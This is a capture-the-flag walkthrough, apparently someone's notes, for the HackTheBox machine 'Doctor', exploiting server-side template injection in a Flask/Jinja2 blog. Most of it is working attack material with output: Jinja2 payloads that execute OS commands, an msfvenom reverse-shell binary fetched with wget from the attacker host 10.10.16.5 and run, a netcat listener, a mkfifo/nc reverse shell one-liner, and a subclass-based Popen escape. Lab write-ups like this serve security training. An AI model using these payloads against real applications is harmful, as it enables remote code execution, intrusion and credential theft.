3 :80 SSTI
http://doctor.htb
website home page
| info@doctors.htb
# usernames
jade guzman
hannah ford
jammes wilson
elizabeth anderson
admin
$ gobuster dir -u doctor.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 80
===============================================================
/blog.html (Status: 200) [Size: 19848]
/services.html (Status: 200) [Size: 19848]
/images (Status: 301) [Size: 309] [--> http://doctor.htb/images/]
/index.html (Status: 200) [Size: 19848]
/contact.html (Status: 200) [Size: 19848]
/about.html (Status: 200) [Size: 19848]
/css (Status: 301) [Size: 306] [--> http://doctor.htb/css/]
/js (Status: 301) [Size: 305] [--> http://doctor.htb/js/]
/departments.html (Status: 200) [Size: 19848]
/fonts (Status: 301) [Size: 308] [--> http://doctor.htb/fonts/]
# all pages are the same
# the email is doctors.htb
# adding doctors.htb to /etc/hosts also
# index page is redirected to /login now
http://doctors.htb/login?next=%2F
Login Page
http://doctors.htb/register
Register Page
kashz@kashz.com:kashz
# Your account has been created, with a time limit of twenty minutes!
# logged in
http://doctors.htb/home
| can create new message
| wappalyzer shows python 3.8.2 server
http://doctors.htb/post/new
# can create new posts
http://doctors.htb/home
| view source: <!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
view-source:http://doctors.htb/archive
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>test</title></item>
</channel>
<item><title>XSS</title></item>
</channel>
# seems like it has template injection from creating new notes after logged in
Using https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#methodology
# making new notes and checking /archive to see if its executed
${5*5} => nothing
{{5*5}} => 25
{{5*'5'}} => 55555
# based on methodology, it can be jinja2 or twig
# testing Twig
{{dump(app)}}
{{app.request.server.all|join(',')}}
# both returned /archive as
Something went wrong (500)
We're experiencing some trouble on our end. Please try again in the near future
# testing jinga2
{{config.items()}}
<item><title>dict_items([('ENV', 'production'), ('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SECRET_KEY', '1234'), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', False), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(seconds=43200)), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('JSON_AS_ASCII', True), ('JSON_SORT_KEYS', True), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('JSONIFY_MIMETYPE', 'application/json'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('MAIL_PASSWORD', 'doctor'), ('MAIL_PORT', 587), ('MAIL_SERVER', ''), ('MAIL_USERNAME', 'doctor'), ('MAIL_USE_TLS', True), ('SQLALCHEMY_DATABASE_URI', 'sqlite://///home/web/blog/flaskblog/site.db'), ('WTF_CSRF_CHECK_DEFAULT', False), ('SQLALCHEMY_BINDS', None), ('SQLALCHEMY_NATIVE_UNICODE', None), ('SQLALCHEMY_ECHO', False), ('SQLALCHEMY_RECORD_QUERIES', None), ('SQLALCHEMY_POOL_SIZE', None), ('SQLALCHEMY_POOL_TIMEOUT', None), ('SQLALCHEMY_POOL_RECYCLE', None), ('SQLALCHEMY_MAX_OVERFLOW', None), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('SQLALCHEMY_TRACK_MODIFICATIONS', None), ('SQLALCHEMY_ENGINE_OPTIONS', {})])</title></item>
# it is Jinga2
# if we can use this to read file for splunk we can use splunk RCE to get foothold
# cant dump used classes so cannot read file as we need to get __mro__ working
Using https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
{{request.application.__globals__.__builtins__.__import__('os').popen('whoami;id;hostname;uname -a').read()}}
<item><title>
web
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
doctor
Linux doctor 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
</title></item>
# tried getting reverse shell but cannot get bash to work
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read()}}
<item><title>
root:x:0:0:root:/root:/bin/bash
[truncated]
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
web:x:1001:1001:,,,:/home/web:/bin/bash
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.5 LPORT=8089 -f elf -o kshell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: kshell
# created kashz.sh
#!/bin/bash
wget 10.10.16.5/kshell
chmod +x /home/web/kshell
/home/web/kshell
{{request.application.__globals__.__builtins__.__import__('os').popen('wget 10.10.16.5/kashz.sh').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('chmod +x /home/web/kashz.sh; /home/web/kashz.sh').read()}}
$ nc -lvnp 8089
listening on [any] 8089 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.209] 39356
whoami;id;hostname
web
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
doctor
[OR]
{{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.5 6969 >/tmp/f').read()}}
Alternate route (finding subprocess.pOpen())
Using https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
and https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
# mro = Method Resolution Order, allows to go up the inherited objects chain
# subclasses = going down the inheritance chain
{{ ''.__class__ }} => (class 'str')
{{ ''.__class__.__mro__ }} => (class 'str', class 'object')
# we need index of object for subclasses
{{ ''.__class__.__mro__[1].__subclasses__() }} => list of all subclasses
# need to find subprocess.pOpen, use python sublist method to find it
{{ ''.__class__.__mro__[1].__subclasses__()[407] }} => <class 'subprocess.pOpen'>
# with pOpen we can launch system commands
{{ ''.__class__.__mro__[1].__subclasses__()[407]('whoami', shell=True, stdout=-1).communicate() }}
Last updated